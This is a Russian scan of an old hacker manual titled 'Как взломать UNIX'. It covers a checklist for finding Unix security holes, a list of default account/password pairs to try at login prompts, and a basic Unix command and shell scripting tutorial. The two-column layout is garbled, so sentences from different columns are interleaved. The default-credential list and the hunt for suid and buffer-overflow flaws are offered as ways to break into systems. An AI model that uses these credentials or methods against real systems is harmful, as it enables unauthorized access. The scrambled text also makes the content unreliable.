
Изучение структуры управления данной конкретной системы.

13) Параметры маршрутизации в ядре Чтобы найти лазейки в системе Предложенную схему можно разбить на безопасности и определить ее дефекты, категории и подкатегории:

необходимо четко уяснить структуру управления I: Suid бинары и сценарии системы и ее уровни.

а) Непредвиденные действия пользователя Вот что нужно знать:

б) Свободные подключения A) Объекты защиты: то, что надо защитить.

в) Имплицитные предположения о внешних Например: файлы пользователей.

условиях (ссылки sym, loc. пути) B) Объекты управления: то, что защищает г) Параметры маршрутизации объекты защиты. Например: i node (индексные дескрипторы).

II: Демон, функционирующий со SUID C) Смешанные объекты: объекты, а) Параметры маршрутизации подпадающие под обе категории. Например: файл б) Недостаточная защита файла пароля.

в) Имплицитная защита файла С таким списком в руках становится г) Доверие возможным графически воспроизвести всю д) Аутентичность иерархию управления и определить вероятные пути взлома. Очень действенно и создание III: Проблемы ядра диаграмм для визуализации возможного а) Параметры маршрутизации в ядре прерывания связей.

б) Код драйвера устройства Найти необходимую информацию можно в Ниже рассматривается четырехэтапный различных пользовательских, операторских и метод, разработанный System Development администраторских мануалах.

Corporation и дающий 65% ную гарантию Довольно полезным может оказаться и обнаружения дефектов в системе безопасности.

изучение исходного кола. Для тех, кто пользуется Поиск таких «дыр» в операционной системе нелицензированными продуктами, советуем включает четыре этапа:

использовать дистрибутивы LINUX, NET2 и BSD386. В будущем, возможно, станет 35 Как взломать UNIX Как взломать UNIX реальностью рабочий контракт между отдельным именно как suid, манипулируя каналами для лицом или компанией, обладающими легальными разрешения проблем с доступами файлов.

дистрибутивами, и другими участниками этого Хорошо бы разработать базу данных, проекта. Таким образом, фрагменты кода могут которая бы сравнивала парные и тройные данные, быть использованы в учебных (академических) как то: название программы, suid, sgid, объект целях постольку, поскольку они не используются обращения (почему данная программа работает для извлечения прибыли — впрочем, это под suid/sgid), версия OS и ее происхождение.

необходимо проверить.

Этап Этап Проверка предположений. (Тестирование Создание списка возможных дефектов (то системы на предмет обнаружения дефектов).

есть предполагаемых дефектов).

Этап Хронология кода:

Обобщение полученной информации с В чем состоит различие версий UNIX? Это акцентированием специфических проблем данной бывает важно при создании перекрестных ссылок системы.

(очень часто некий продавец вносит в пакет изменения, а его версия получает широкое распространение).

Глава 15: Обнаружение отдельных Жесткая перекрестная ссылка:

дефектов Командой who проверьте OS на наличие 1) Ищите подпрограммы, которые не ошибок и установите, какая версия поможет вам проверяют диапазоны или параметры ввода.

избежать двойной работы.

Например: семья подпрограмм gets, Хорошо бы сначала вывести полный список позволяющая перезаписывать границы буферов всех suid бинаров в различных версиях OS. Затем (sprintf()?, gets () и т.д.). А также strcpy (), попытайтесь выяснить причину определения suid к вмонтированная в большинство src:

каждой конкретной программе. Например: rcp #define SCYPYN((a)(b)) strcpy(a, b, sizeof(a)) имеет корневой suid, потому что использует 2) SUID/SGID подпрограммы, написанные привилегированный порт для установления в одной из оболочек вместо C или PERL.

аутентичности пользовательских имен. Часто код, изначально созданный не как suid, функционирует 3) SUID/SGID подпрограммы, написанные в PERL и неиспользующие программу taintperl.

37 Как взломать UNIX Как взломать UNIX 4) SUID/SGID подпрограммы, 10) В man страницах и в различных использующие system(), popen(), execlp() или руководствах просмотрите параграфы с execvp() при выполнении заданий. предупреждениями против выполнения того то и изменения сего то. Обратите внимание на разделы 5) Любая программа, которая использует «Ошибки».

относительные имена пути.

11) Поищите редко используемые или 6) Использование относительных имен необычные функции или команды — например, путей для определения динамически связанных чтение в обратном направлении.

библиотек.

В частности, интересные результаты может 7) Подпрограммы, не проверяющие ошибки дать поиск не нашедших отражение в инструкциях в кодах возврата при системных вызовах.

флагов/аргументов.

(Например: fork(2), suid(2), setuid() как в знаменитой ошибке rcp). Проверьте флаги, работающие в более ранних выпусках вашей операционки или в других 8) Дефекты часто могут быть обнаружены в OS версиях. Проверите опции, которые могут быть коде, который:

использованы другими программами. Например, а) импортирован в новую среду;

telnet использует опцию h для входа в систему...

б) получил несанкционированный ввод;

ладно, пропишите в login.c:

if((getuid()) && hflag){ в) взаимодействует с другим локальным syslog() программным обеспечением;

exit() г) обращается к системным файлам, } подобным passwd, L.sys, и т.д.;

12) Просмотрите условия маршрутизации.

д) считывает входные данные из свободно 13) Отключите часть софта, и тем самым вы перезаписываемого файла/каталога;

проверите, действительно ли она, эта часть, е) представляет собой одну из программ связана с предполагаемым вами программным диагностики, которые чаще всего не позволяют обеспечением или аппаратным модулем.

пользователю защищать информацию.

14) Отладьте процесс обнаружения ошибок 9) Тестирование кода на предмет так, чтобы он не отражался на системе несанкционированного доступа. Средства для безопасности.

этого, включая различные утилиты, вполне доступны.

39 Как взломать UNIX Как взломать UNIX 15) Недостаточная отлаженность, 25) Любая программа, функционирующая с приводящая, например, к созданию неверных системными привилегиями. (Слишком много условий проверки кодов. программ имеют UID 0, что облегчает доступ к некоторым таблицам и проч.) 16) Имплицитное доверие: подпрограмма B принимает параметры подпрограммы А, потому 26) Группа свободночитаемых временных что подпрограмма А является системным файлов, буферов, и т.д.

процессом.

27) Неотлаженность пороговых значений и 17) Память системы — это данные или регистрации.

ссылка на параметры пользователя в адресном 28) Изменение параметров особо важных пространстве пользователей.

областей системы до их выполнения 18) Интерсвязь во время процессов: одновременно запущенным процессом (условия возвращение условий (passwd OK, illegal parameter, маршрутизации).

segment error и т.д.) может стать источником 29) Неадекватная проверка границы при серьезных проблем, особенно вкупе с п.17.

компиляции, например, в случае, когда 19) Параметры пользователя не поддаются пользователь может запустить машинный код, адекватной проверке. оформленный как общие данные в области данных (если текстовая область и область данных 20) Адреса, перекрывающие друг друга или разделены).

обращающиеся к другим областям системы.

30) Неправильное прерывание 21) Пропуск проверки.

пользователем работы компьютера. Большинство 22) Сбой системы предупреждения о пользователей сначала или прерывают необычных параметрах.

выполняемый процесс или доводят его до конца, а 23) Найдите уровни системы, в которых уже потом выключают компьютер, в то время как ряд модулей был написан различными другие, не закончив корректно свою работу, программистами или группами оставляют систему фактически в незащищенном программистов — обязательно обнаружатся состоянии, оставляя открытыми файлы, в которых «дырки».

велась запись.

24) Регистраторы, указывающие на 31) Код, использующий fopen(3) без месторасположение значений параметра вместо установки umask. (Например: at(1) и др.) того, чтобы передать это значение непосредственно.

41 Как взломать UNIX Как взломать UNIX Вообще любой код, не перезапускающий неограниченный доступ к памяти, и таким UID перед началом параллельного действия. образом системный код может быть изменяться в памяти еще до своего выполнения.

32) Trace — ваш хороший помощник (или truss в SVR4). Он выясняет, какие системные 40) Найдите ошибки, существующие во вызовы используются программой. многих частях программного обеспечения. К примеру, скажем, программа А может быть 33) Тщательно проверьте /usr/local. Многие использована для изменения файла конфигурации администраторы устанавливают программное /etc/a, программа В принимает эту информацию обеспечение из сети. Часто вы найдете здесь без проверки, и все это может привести к tcpdump, top, nfswatch... они запросто могут непредвиденным результатам (только посмотрите, использовать корневой suid.

сколько программ доверяют /etc/utmp).

34) Проверьте программы под suid и 41) Любые программы, особенно убедитесь, что они являются именно теми самыми допускающие выход из оболочки и идущие под продуктами, которые были установлены сначала.

suid/sgid.

Администраторы иногда меняют пароли, что менее безопасно, чем дистрибутивная версия.

35) Найти программы, устанавливающие программное обеспечение или загружаемые модули ядра.

36) Вообще динамически связанные программы. Вспомните LD_PRELOAD, думаем, что это еще не предел.

37) Программирование канала I/O — вот, что сейчас главное. Ищите логические ошибки, противоречия и удаления.

38) Если возможно, отследите в I/O программе наличие возможности самостоятельного модифицирования и запуска циклов (pre load может помочь это осуществить это).

39) Если каналы I/O действуют как независимые процессоры, то они могут иметь 43 Система Unix Система Unix команд, которые используются операционной Часть вторая системой. Некоторые варианты могут иметь Система Unix особенности, которых нет в других, но они в основном схожи в том, что имеют много одинаковых команд и файлов данных. Когда вам кто то станет доказывать, что UNIX используется в определенных типах компьютеров, то это, Глава 1: А теперь немного истории возможно, и так, но помните, что некоторые компьютеры имеют более одной операционной UNIX, конечно, был изобретен AT&T где то системы. Например, вам могут сказать, что UNIX в 60 ых как «операционная система соответствует компьютерам VAX так же, как программиста». Во времена, когда изобрели UNIX, МС ДОС соответствует IBM клонам. Это неверно, эта цель не была, вероятно, достигнута, зато и мы упоминаем об этом только потому, что теперь, похоже, UNIX стала ОС программиста.

видели много сообщений с подобными Как уже говорилось, это многозадачная и сравнениями, которые смущают пользователей, многопользовательская ОС. К тому же она когда они видят VAX, работающий под VMS.

написана на языке С, во всяком случае, немалая ее часть, что делает ее портативной операционной системой. Мы знаем, что МС ДОС соответствует Глава 2: Идентификация Unix компьютерам IBM и их клонам, верно? Так вот, с С этого момента мы будем обозначать все UNIX ситуация иная. Он не соответствует варианты UNIX просто как UNIX, так что когда никаким компьютерам, поскольку был будет говориться что то о UNIX, то, как правило, адаптирован ко многим, и существует много будут подразумеваться все варианты (то есть, вариантов UNIX (то есть, UNIX измененный варианты Unix System V: BSD, SunOS, Ultrix, продавцом, или нечто подобное). Некоторые Xenix, и т.д.), если только явно не будет указан AT&T компьютеры работают под UNIX, а конкретный.

некоторые под МС ДОС (AT&T 6300). Рабочие станции Sun работают под SunOS, это тоже Теперь пора рассказать, как unix обычно вас вариант UNIX, а некоторые VAX компьютеры приветствует. Сначала, когда вы вызываете UNIX, управляются Ultrix, это VAX версия UNIX.

или соединяетесь с машиной, где он работает, вы Запомните: независимо от того, как называется обычно видите такую подсказку:

операционная система (BSD, UNIX, SunOS, Ultrix, Login:

Xenix, и т.д.), они все имеют много общего вроде 45 Система Unix Система Unix Порядок. Это означает, что это вероятно ACCOUNT ПАРОЛЬ Unix, хотя имеются BBS, способные имитировать root root — (редко открыт для login процедуру OS (операционной системы), и хакеров) заставлять некоторых верить в то, что это и есть sys sys / system / bin Unix. (Ха!) Некоторые Unix'ы представляются или bin sys / bin выдают перед Login: сообщение вроде такого:

mountfsys mountfsys Welcome to SHUnix. Please log in.

(Добро пожаловать в SHUNIX. Пожалуйста adm adm зарегистрируйтесь) uucp uucp Login:

nuucp anon Или что то в этом роде. Unix'ы свободного anon anon доступа (например, в BBS свободного доступа) user user сообщат вам, как надо регистрироваться, если вы — новый пользователь. К сожалению, эта глава games games не о Unix'ах свободного доступа, но о них мы install install кратко поговорим позже, например об адресе reboot * ni. ie?a UUCP/USENET/BITNET для почты.

demo demo Итак. Вы добрались до регистрации (login)!

Теперь вам надо ввести действующий экаунт umountfsys umountfsys (account). Он обычно состоит из 8 или меньше sync sync символов. После ввода экаунта вы скорее всего admin admin увидите приглашение ввести пароль. Приглашения могут иметь различный вид, поскольку исходные guest guest коды для программы регистрации обычно daemon daemon поставляются вместе с UNIX, или доступны Экаунты root, mountfsys, umountfsys, install бесплатно. Так вот, можно посоветовать такой и, иногда, sync — это экаунты корневого уровня.

простейший способ регистрации: получите экаунт Это означает, что они работают на уровне или попробуйте ввести значения по умолчанию.

системного администратора или глобально.

Эти значения поставляются вместе с Остальные логины есть всего лишь логины операционной системой в стандартной форме. Вот «пользовательского уровня», и это означает, что список некоторых значений по умолчанию:

им подвластны лишь файлы/процессы, 47 Система Unix Система Unix принадлежащие этому конкретному пользователю. сообщение об ошибке. Обычно это сообщение Логин REBOOT относится к так называемым «login incorrect».

командным логинам, он не пропускает вас в ОС, а Когда компьютер выдает такое сообщение, просто напросто выполняет связанную с ним это означает, что вы ошиблись, и ввели или программу. Как правило, он делает именно то, что неверный экаунт, или верный экаунт, но обозначает — перезагружает систему. Возможно, неверный пароль. По очевидным причинам он не стандартен во всех Юниксах, но его можно система не станет вам подсказывать, какую увидеть в Юниксах UNISYS, а также в системах именно ошибку вы допустили. Кроме того, когда HP/UX (Hewlett Packard Unixes). Пока что эти вы регистрируетесь с ошибкой, обновляется файл экаунты не защищены паролями, что на наш журнала регистрации, и об этом узнает сисадмин.

взгляд весьма глупо.

Другое сообщение об ошибке — это «Cannot change to home directory» или «Cannot Change Командные логины Directory». Это означает отсутствие «home Существуют «командные логины», которые, directory», то есть «корневого» раздела экаунта, то подобно логину перезагрузки (reboot), исполняют есть раздела, из которого вы начинаете работу. В команду и отключают вас от системы, не позволяя ДОС вы стартуете из А:\ или С:\, или еще пользоваться интерпретатором команд. Наличием откуда то, а в Юниксе — из /homedirectory.

таких логинов печально знамениты компьютеры (Примечание: в Юниксе в разделах используется / BSD и MIT (Массачусетского технологического (прямой слеш), а не \ (обратный слеш)).

института). Вот список некоторых:

Большинство систем отключит вас после такого rwho — показать, кто в онлайне прокола, но некоторые сообщат, что поместят вас finger — то же в корневой раздел ['/'].

who — то же Другое сообщение об ошибке «No Shell».

Оно означает, что для этого конкретного экаунта Они весьма полезны, поскольку выдают не определен «shell», то есть «оболочка». О ней мы список экаунтов подключенных пользователей, и поговорим позднее. Большинство систем отключит тем самым показывают реально существующие вас после такого сообщения, но некоторые экаунты.

сообщат, что станут использовать обычную (стандартную) оболочку, выдав «Using the bourne Ошибки shell» или «Using sh».

Когда вы введете ошибочный экаунт/пароль, или и то, и другое, система выдаст 49 Система Unix Система Unix процессор). Интерпретатор команд — это нечто, Глава 3: Общие сведения об похожее на COMMAND.COM в MS DOS, экаунтах который обрабатывает команды и пересылает их в ядро (операционную систему). Как уже было Надеюсь, эта глава поможет вам понять сказано, оболочкой может быть любая программа, пользовательскую структуру среды Юникс.

но вам нужен именно интерпретатор команд. Вот Так вот, считайте, что Юникс имеет два перечень обычных оболочек, которые вы уровня безопасности: абсолютную власть и обнаружите:

обычный пользователь. Абсолютной властью sh — это «родная» оболочка, базовый обладают пользователи корневого уровня. Теперь «COMMAND.COM» Unix. Он имеет давайте мыслить числами. Юникс ассоциирует «скриптовый» язык, как и большинство числа с именами экаунтов. Каждый экаунт имеет командных процессоров систем Unix.

номер. Этот номер есть UID (идентификатор пользователя) экаунта. У корневого пользователя csh — это оболочка «С», позволяющая UID — это 0 (ноль). Каждый экаунт с UID = вводить С подобные команды.

будет иметь доступ к корню. Юникс обрабатывает ksh — это оболочка korn. Просто еще один не имена экаунтов (логинов), а связанные с ним интерпретатор команд.

числа. Например, если ваш UID = 50, и еще tcsh — это оболочка, используемая в MIT.

чей то UID тоже 50, то вы оба имеете абсолютную Позволяет редактировать команды.

власть друг над другом, но только вы, и никто иной. vsh — визуальная оболочка, работающая через меню. Нечто вроде... Windows для DOS.

rsh — restricted (ограниченная) или remote Глава 4: Оболочки (удаленная) оболочка.

Оболочка — это исполняемая программа, Есть и множество других оболочек, включая которая загружается и начинает работать в «самодельные», то есть программы, написанные фоновом режиме, когда пользователь входит в владельцем Unix, или под конкретную версию систему. Такой «оболочкой» может быть любая Unix, и все они нестандартные. Запомните, исполняемая программа, указанная в оболочка есть всего лишь программа, которой вам пользовательском файле «passwd». Каждый логин придется пользоваться, и когда она кончает может иметь свою уникальную «оболочку». Идем работу, вас отключают от системы. Хороший дальше. Оболочка, с которой мы обычно будем пример самодельной оболочки можно найти на работать — это интерпретатор команд (командный 51 Система Unix Система Unix Eskimo North, это Unix свободного доступа. Control J Оболочка называется «Esh», и это нечто вроде В некоторых системах срабатывает как «одноклавишной BBS», но это, тем не менее, все клавиша «ввод».

равно оболочка.

@ Некоторые компании используют в качестве Иногда означает «отмена».

пользовательских оболочек текстовые редакторы, базы данных и прочий софт — чтобы ?

предотвратить ошибки неопытных пользователей и Это wildcard (маска). Может обозначать облегчить им жизнь. Кроме того, в качестве букву. Если вы укажете в командной строке, оболочки может использоваться BBS.

скажем, «b?b», то Unix станет искать bob, bib, bub, Когда вы работаете в интерпретаторе и все остальные буквы/цифры в интервале a z, команд, подсказка обычно выглядит так:

0 9.

$ Когда вы корневой пользователь, подсказка * обычно выглядит так:

Может означать любое число символов.

# Если вы укажете «hi*», то это означает hit, him, hiiii, hiya, и что угодно, начинающееся с hi. «H*l» Можно задать значение переменной PS1 для может значить hill, hull, hl, и что угодно, хранения подсказки. Например, если PS1 задана начинающееся с h и кончающееся l.

как «HI:», то и ваша подсказка будет выглядеть так же:

[] HI:

Указывает диапазон. Если ввести b[o,u,i]b то это означает: bib, bub, bob. А если ввести b[a d]b Глава 5: Спецсимволы то это значит: bab, bbb, bcb, bdb.

[], ?, и * обычно используются при Control D копировании и удалении файлов или выводе Конец файла. Когда вы работаете с почтой списков файлов в разделах.

или текстовым редактором, это означает конец В Unix учитывается регистр. Это означает, сообщения или текстового файла. Если вы что «Hill» и «hill» — вовсе не одно и то же. Это нажмете control d находясь в оболочке, то выйдете позволяет хранить много файлов, поскольку «Hill», из системы.

«hill», «hIll», «hiLl» и так далее могут быть 53 Система Unix Система Unix разными файлами. Поэтому, пользуясь [], вы Пояснения:

должны указывать заглавные буквы, если имена rwx x x — это файловый доступ.

нужных вам фалов их содержат. Однако почти все sirhack sirh — это владелец файла и группа, пишется прописными буквами.

в которой файл находится. sirhack = владелец, sirh = пользовательская группа, в которой файл Глава 6: Команды находится.

10990 — размер файла в байтах Теперь мы перечислим некоторые полезные команды Unix. Все будет выглядеть так, как если runme — имя файла бы мы реально вводили команды через командную cat строку.

Выводит файл на экран. Следует применять ls к текстовым файлам. Применительно к бинарным Просмотр раздела. Без аргументов эта файлам используется только чтобы издеваться над команда просто выводит имена файлов в одну или пользователями. Пример:

несколько колонок, в зависимости от того, к $ cat note.txt какой именно версии программы ls вы имеете Это образец текстового файла!

доступ. Пример:

$ $ ls cd hithere Сменить раздел (директорию). Записывается runme примерно так: cd /dir/dir1/dir2/dirn. dir1/... это note.text имена разделов. Допустим, мы хотим перейти в src корневой раздел:

$ $ cd / Через ключ l выводится расширенная *порядок, я уже там* информация о файлах:

$ ls $ ls l bin rwx x x sirhack sirh 10990 runme sys и так далее...

etc temp work 55 Система Unix Система Unix usr runme кстати, все, что выше — это разделы note.text $ cd /usr src $ ls runme sirhack Чтобы скопировать в другой раздел, можно datawiz указать полный путь.

prophet $ cp runme /usr/datwiz/runme src violence mv par Переименование файла.

phiber Синтаксис: mv старое_имя новое_имя scythian $ mv runme2 runit $ cd /usr/sirhack $ ls $ ls hithere hithere runme runme note.text note.text src src runit $ Можно переименовывать файлы в других Так вот, полное имя раздела вводить не разделах:

надо. Если вы находитесь в разделе, и хотите $ mv runit /usr/datwiz/run попасть в (под)раздел, который находится здесь же $ ls (скажем, «src»), то можете ввести «cd src» [без «/»].

hithere Вместо ввода «cd /usr/sirhack/src» из sirhack dir вы runme можете ввести «cd src».

note.text cp src $ ls /usr/datwiz Копирует файл.

runme Синтаксис: cp из_файла в_файл run $ cp runme runme $ ls hithere 57 Система Unix Система Unix pwd write Переход в текущий раздел Поболтать с другим пользователем. Ну, «написать» другому пользователю.

$ pwd /usr/sirhack Синтаксис: write имя_пользователя $ cd src $ write scythian $ pwd scythian has been notified (scythian был /usr/sirhack/src уведомлен) $ cd..

Привет Scy! Как дела??

$ pwd Message from scythian on tty001 at 17: /usr/sirhack Привет!

(".." означает "использовать имя раздела на я: Как жизнь?

один уровень выше") scy: Да вроде нормально.

$ cd../datwiz я: Мне пора дописывать этот текст.

(обозначает cd /usr/datwiz) scy: ok $ pwd я: control D [для выхода из программы] /usr/datwiz $ $ cd $home (перейти в раздел home) who [w, who, whodo] $ pwd Выводит список тех, кто в онлайне:

/usr/sirhack $ who login term logontime rm scythian + tty001 17: Удалить файл.

phiberO + tty002 15: Синтаксис: rm имя_файла или sirhack + tty003 17: rm r имя_раздела datawiz — tty004 11: $ rm note.text glitch — tty666 66: $ ls $ hithere Команда who может выдавать разную runme информацию. «+» означает, что вы можете write на src этот терминал, а « » — что не можете.

$ 59 Система Unix Система Unix man umodem Показывает подсказку о команде. Послать/получить через send/recieve via umodem.

Синтаксис: man имя_команды. Это $ sz filename программа помощи. Если хотите узнать, как ready to send... (готов послать...) пользоваться who, то введите:

$ rz filename $ man who please send your file... (пожалуйста, пошлите WHO(1) xxx......

ваш файл...) и получите подсказку.

...etc.. (и т.д.) stty ed Задает характеристики терминала. Вам Текстовый редактор.

придется ввести «man stty», поскольку каждый stty, Синтаксис: ed имя_файла.

похоже, отличен от другого. Пример:

Для создания нового файла просто введите $ stty parenb ed имя_файла чтобы установить параметры данных N,8,1.

$ ed newtext Многие Unix по умолчанию работают при e,7,1.

sz, rz * a Это строка Послать/получить через zmodem.

Это строка rx, sx [control z] * 1 [чтобы увидеть строку 1] Послать/получить через xmodem.

Это строка rb, sb * a [продолжаем добавлять] Это строка Послать/получить через batch (пакетный) [control z] ymodem.

*0a [добавить после строки 0] Эти 6 программ могут в Unix быть, а могут Это ПЕРВАЯ строка и не быть.

[control z] 1,4l Это ПЕРВАЯ строка Это строка 61 Система Unix Система Unix Это строка Синтаксис: chmod mode filename (chmod Это строка режим имя_файла) * w $ chmod a+r newtext Теперь все могу читать newtext:

* q a — all (все) $ r — read (читать).

В данном примере использовались:

71 — число записанных байтов.

chown a — добавить Сменить владельца файла.

l — просмотр Синтаксис: chown владелец filename # — напечатать номер строки $ chown scythian newtext $ w — записать l fname — загрузить файл fname chgrp s fname — сохранить с именем fname Сменить группу файла.

w — записать в текущий файл Синтаксис: chgrp group file $ chgrp root runme q — выход $ mesg finger Включает/выключает разрешение «писать» Вывести основную информацию об экаунте.

(write) на ваш терминал (разрешает чат).

Формат: finger имя_пользователя Формат: «mesg y» (да) или «mesg n» (нет).

grep cc Искать в файле цепочку символов.

Компилятор Си.

Синтаксис: grep цепочка file chmod $ grep 1 newtext Смена «режима» файла. Другими словами, Это строка смена доступа.

$ grep ПЕРВАЯ newtext Это ПЕРВАЯ строка 63 Система Unix Система Unix $ grep "ПЕРВАЯ line 1" newtext sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!

$ optik!phiber Но не забивайте себе головы. Мы просто mail объясняем принципы. Но если умного мейлера Очень полезная утилита. Вы уже наверняка нет, то вы должны знать полный путь к тому, кому догадались по имени, для чего она. Их существует вы хотите послать почту. Например, я хочу несколько, например, ELM, MUSH and MSH, но послать сообщение к phiber. И если умного базовая почтовая программа называется mail. Как мейлера нет, то я должен писать так:

ей пользоваться:

$ mail mail username@address sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!

optik!phiber или Привет. Как дела? Ну, мне пора. Длинное вышло mail username письмецо, верно?

или (control D) $ mail Когда он это сообщение получит, в нем или будет строк 20 информации, это нечто вроде mail addr1!addr2!addr3!user почтовых штемпелей всех систем, через которые «mail username@address» — такая запись мое сообщение прошло, а строка «от кого» будет используется для посылки почты кому то в другой выглядеть так:

системе. Обычно это другой UNIX, но некоторые From optik!sirhacksys!att.com!sc1!sbell!pacbell!

DOS и VAX машины могут принимать Unix Mail.

unisys!sys!sirhack Когда вы используете «mail user@address», то ваша Для посылки локального сообщения система должна иметь «умный мейлер» и то, что достаточно набрать «mail username», где мы называем «планами системы». «Умный мейлер» username — логин получателя. Затем наберите распознает «адресную» часть команды и обычно сообщение и завершите его control D.

расширяет ее до полного пути. Это может Для чтения поступившей вам почты просто выглядеть так:

введите mail. То есть:

mail phiber@optik $ mail а в компьютере выглядеть так:

От: scythian............

mail Кому: sirhack............

65 Система Unix Система Unix Тема: Well....

потому что тут все будет как с обычным Ну, блин!

письмом — его должен забрать «почтальон». Для ?

передачи почты система может вызвать и Точки обозначают всякую пропущенную использовать UUCP. Обычно UUCP экаунты бредятину. Каждая версия программы mail никому не нужны — если только у вас не оформляет свои заголовки. используется UUCP, способный перехватывать почту.

Знак вопроса — это подсказка. После него можно ввести:

ps d — удалить Процесс. Эта команда позволяет увидеть, f username — переслать копию к username что именно вы делаете в оперативной памяти. При каждом запуске программы ей для учетных целей w fname — записать сообщение в файл с назначается Идентификатор Процесса (PID), и именем fname поэтому ее можно отследить в памяти, а также s fname — сохранить сообщение с заголовком закрыть — вами или корневым пользователем.

в файл с именем fname Обычно команда ps в перечне процессов первой q — выйти/обновить mail указывает имя запущенной вами оболочки.

Допустим, я вошел под логином sirhack, используя x — выйти, но ничего не менять оболочку «csh», и у меня работает «watch scythian».

m username — написать сообщение к Программа watch перейдет в фоновый режим, то username есть я смогу делать что то другое, пока она r — ответить отправителю работает:

[enter] — прочесть следующее сообщение $ ps PID TTY NAME + — перейти на одно сообщение дальше 122 001 ksh — вернуться на одно сообщение назад 123 001 watch h — распечатать заголовки сообщений из $ почтового ящика.

Это сокращенный листинг PS, выводящийся по умолчанию. В колонке TTY перечислены «tty» Есть и другие команды. Чтобы увидеть их (устройства ввода/вывода) через которые был перечень, обычно вводят '?'.

запущен process. Это действительно полезно знать Если вы посылаете почту кому то не из только в том случае, если вы используете слои своей системы, то ответа придется ждать дольше, 67 Система Unix Система Unix 123 001 watch (спокойно!), или более одного пользователя вошли $ kill 9 в систему с тем же экаунтом. Команда ps f выдаст [123]: killed полный листинг процессов, поэтому вместо $ kill 9 краткого «watch» вы скорее всего увидите «watch garbage scythian».

NO CARRIER kill Вы также можете ввести «kill 1 0», чтобы Прервать процесс. Очевидно, что команда прервать свою оболочку и выйти из системы. Это используется для прекращения работы программы полезно в скриптах.

в памяти. Вы можете прервать только те процессы, которыми владеете (те, которые вы запустили), Глава 7: Программирование если только вы не корневой пользователь или если оболочки ваш EUID такой же, как и у процесса, который вы хотите прервать. (Про EUID потом). Если вы Программирование оболочки есть по сути прервете процесс оболочки, то вылетите из создание «скриптового» файла для стандартной системы. По тому же принципу, если вы вырубите оболочки, то есть sh, ksh, csh или их процесс чьей то оболочки, то этот кто то тоже разновидностей. Это нечто вроде.bat файла вылетит. Поэтому, если я введу «kill 122», то MS DOS, но более сложного и более гибкого. Он система меня выплюнет. Однако kill лишь может оказаться полезным в одном аспекте посылает UNIX сигнал с указанием «прервать хакерства.

процесс». И если вы примените синтаксис «kill Сперва займемся переменными.

pid», то UNIX вырубит процесс тогда, когда ему Переменным, очевидно, можно присвоить захочется, а такое может не случиться никогда.

значения — как символьные, там и числовые.

Значит, вы можете сами определять срочность!

Выражение Попробуйте «kill num pid» (num — число).

number= Kill 9 pid — это безусловное и почти присваивает переменной «number» мгновенное прерывание.

значение 1.

$ kill string=Hi There $ kill $ ps или PID TTY NAME string="Hi There" 122 001 ksh 69 Система Unix Система Unix Sir Hackalot Оба выражения присваивают переменной Привет Sir Hackalot string значение «Hi there».

Запомните: read может считывать и числовые Однако использование переменной — это значения.

совсем другое дело. Если вы хотите использовать переменную, перед ней должен стоять знак trap доллара ($). Такие переменные могут быть Отслеживает применение кем то команды использованы в программах в качестве аргументов.

прерывания (Ctrl c).

Когда было написано, что скрипты подобны bat файлам, то имелось в виду именно это. В файл Формат:

скрипта можно ввести имя любой программы, и trap "command;

command;

command;

и т.д."

она будет исполнена. Вот простой скрипт:

Пример:

counter= trap "echo 'Фигушки!! Ты так легко от меня не arg1=" uf" избавишься' ;

echo 'Придется тебе это arg2="scythian" прочитать!'" ps $arg1 $arg И теперь, если я нажму control c во время echo $counter работы скрипта, то увижу на экране вот что:

Этот скрипт выполняет трансляцию в Фигушки!! Ты так легко от меня не избавишься «ps uf scythian», а после завершения работы Придется тебе это прочитать!

печатает «1». Еcho выводит на экран как текстовые, так и цифровые константы.

еxit Другие команды и примеры:

Формат: exit [число]. Обеспечивает выход из оболочки, возвращая код, равный «числу».

read Считывает что либо в переменную.

CASE Формат: read переменная. Здесь знак доллара Выполнение case подобно выбору из меню.

не нужен! Если я хочу узнать чье то имя, то могу Формат команды или структуры таков:

написать:

case переменная in echo "Как ваше имя?" 1) command;

read hisname command;

;

echo Hello $hisname Как ваше имя?

2) command;

71 Система Unix Система Unix repeat scythian sirhack prophet command;

то увижу на своем экране scythian, затем command;

;

sirhack, затем prophet.

*) command;

;

Петля for определяется как esac for для переменной в чем то Каждая часть может иметь любое do (делай) количество команд. Однако после последней команды должны стоять «;

;

». Возьмем такое меню:..

echo "Выберите:"..

echo "(D)irectory (L)ogoff (S)hell" done (сделано) read choice пример:

case $choice in D) echo "Создаю раздел...";

for counter in 1 2 ls al ;

;

do L) echo Пока;

echo $counter kill 1 0;

;

done S) exit;

;

Будут выведены значения 1, затем 2, *) Echo "Ошибка! Это не команда ";

;

затем 3.

esac esac обозначает конец функции case. Он Глава 9: Использование TEST должен стоять после последней команды.

Формат: Test переменная опция переменная Глава 8: Петли Опции таковы:

eq = (равно) Итак, петли. Таких функций две: петли for и ne <> (не равно) петли repeat.

gt > (больше) Петли repeat выглядят так:

lt < (меньше) repeat нечто нечто1 нечто ge >= (больше или равно) Эта функция выполняет повторение секции вашего скрипта для каждого «нечто». Если я le <= (меньше или равно) напишу:

73 Система Unix Система Unix Для строк это: В некоторых системах expr иногда распечатывает формулу. Хочу пояснить, что 22+ = если равно вовсе не то же самое, что 22 + 12. Если вы != если не равно введете:

Если выражение верно, то функция expr 22+ возвращает ноль. Смотрите:

то увидите test 3 eq 22+ это означает проверку на верность А если введете:

выражения 3 = 3, и будет выведен ноль.

expr 22 + то увидите:

Глава 10: EXPR Применяется для числовых функций. Как Глава 11: Системные переменные правило, вы не можете просто напечатать:

echo 4 + Это переменные, используемые оболочкой, и получить ответ. Вы должны написать:

и они обычно задаются в системном файле.profile.

expr переменная [или число] оператор HOME переменная2 [или число] Расположение вашего home (домашнего) Операторы таковы:

раздела.

+ сложение PS вычитание Определяет, как выглядит подсказка в * умножение командной строке. Обычно как $. В BSD это / деление обычно &.

^ — степень (в некоторых системах) PATH Пример:

Путь поиска программ. Когда вы вводите expr 4 + имя программы для ее запуска, она находится не в var = expr 4 + оперативной памяти, а на диске, и должна быть var получит значение 9.

сперва оттуда загружена. В отличие от MS DOS 75 Система Unix Система Unix большинство команд не находится в памяти. Если находятся в файле TERMCAP. Но не забивайте программа указана в пути поиска, она может быть себе голову, просто установите свой дисплей на запущена на исполнение независимо от того, в ansi или vt100, CURSES даст вам знать, если не каком разделе вы находитесь, а если не указана, то сможет манипулировать эмуляцией вашего вы должны запускать ее из раздела, где находится терминала.

сама программа. Путь — это по сути перечень разделов, в котором имена разделов отделяются Глава 12: Компилятор С двоеточиями. Вот типичный путь поиска:

